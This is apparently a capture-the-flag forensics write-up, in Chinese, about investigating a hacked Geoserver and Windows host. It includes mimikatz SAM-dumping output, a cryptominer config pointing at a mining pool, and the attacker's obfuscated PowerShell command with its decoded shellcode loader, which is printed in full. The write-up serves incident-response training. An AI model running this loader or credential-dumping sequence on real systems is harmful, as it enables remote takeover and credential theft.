1.流量分析

1.1 文件排查

新手运维小王的Geoserver遭到了攻击：

黑客疑似删除了webshell后门，小王找到了可能是攻击痕迹的文件但不一定是正确的，请帮他排查一下。

解码得到flag

1.2 流量解密

新手运维小王的Geoserver遭到了攻击：

小王拿到了当时被入侵时的流量，其中一个IP有访问webshell的流量，已提取部分放在了两个pcapng中了。请帮他解密该流量。

由第一题得知密钥为a2550eeab0724a69

丢进netA解密

1.3 文件提取

新手运维小王的Geoserver遭到了攻击：

小王拿到了当时被入侵时的流量，黑客疑似通过webshell上传了文件，请看看里面是什么。

看到有个flag.pdf

对应包序号去wireshark里拖出完整内容

哥斯拉流量在解码时需要AES+Gunzip

2.数据库

说明：由于黑客在攻击时可能会修改用户口令、锁定登陆、破坏系统导致无法进入操作系统，因此本题不提供密码

不提供密码使用xway对vmdk做sam值和system的提取,或者直接使用仿真工具

提取后使用mimikatz

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

1644    {0;000003e7} 0 D 93316          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,31p)       Primary
 -> Impersonated !
 * Process Token : {0;0003c6ad} 1 F 249629314   YIYI\yiyi_      S-1-5-21-2283440963-132275060-3739202585-1001   (15g,24p)       Primary
 * Thread Token  : {0;000003e7} 0 D 250849447   NT AUTHORITY\SYSTEM     S-1-5-18        (04g,31p)       Impersonation (Delegation)

mimikatz # lsadump::sam /sam:./SAM /system:./SYSTEM

cmd5得到密码

1	Password@123

也可以使用hashcat

同理得到test$用户的密码

2.1 攻击者创建隐藏账户的时间

时间查看器筛选4720

或使用net user命令查看基本信息

2.2 恶意文件的名称

上传火绒剑

2.3 外联地址

恶意文件有一个config.json

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "asm": true,
        "argon2-impl": null,
        "argon2": [0, 1, 2, 3],
        "cn": [
            [1, 0],
            [1, 1],
            [1, 2],
            [1, 3]
        ],
        "cn-heavy": [
            [1, 0],
            [1, 1],
            [1, 2],
            [1, 3]
        ],
        "cn-lite": [
            [1, 0],
            [1, 1],
            [1, 2],
            [1, 3]
        ],
        "cn-pico": [
            [2, 0],
            [2, 1],
            [2, 2],
            [2, 3]
        ],
        "cn/upx2": [
            [2, 0],
            [2, 1],
            [2, 2],
            [2, 3]
        ],
        "ghostrider": [
            [8, 0],
            [8, 1],
            [8, 2],
            [8, 3]
        ],
        "rx": [0, 1, 2, 3],
        "rx/wow": [0, 1, 2, 3],
        "cn-lite/0": false,
        "cn/0": false,
        "rx/arq": "rx/wow"
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn-lite/0": false,
        "cn/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn-lite/0": false,
        "cn/0": false
    },
    "log-file": null,
    "donate-level": 1,
    "donate-over-proxy": 1,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "sierting.com",
            "user": "YOUR_WALLET_ADDRESS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": false,
            "sni": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "retries": 5,
    "retry-pause": 5,
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "dns": {
        "ipv6": false,
        "ttl": 30
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}

2.4 数据库修复

使用D-Recovery SQL Server，将C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA与【非题目】题mssql-备份数据库（可能会用到）

的数据做修复

但是没成功。。。

直接暴搜得到

2.5 逆向恶意powoshell的md5值

1	C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

根据脚本逻辑解密

得到

function tWk {
        Param ($k0M, $ybp)
        $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M)))), $ybp))
}

function lVhI5 {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8,
                [Parameter(Position = 1)] [Type] $nZWM = [Void]
        )

        $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).SetImplementationFlags('Runtime, Managed')
        $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).SetImplementationFlags('Runtime, Managed')

        return $p8dl.CreateType()
}

[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$uKrz = 0
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualAlloc), (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $tUZml.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualProtect), (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {
        $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll CreateThread), (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$rS,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll WaitForSingleObject), (lVhI5 @([IntPtr], [Int32]))).Invoke($yfm6I,0xffffffff) | Out-Null
}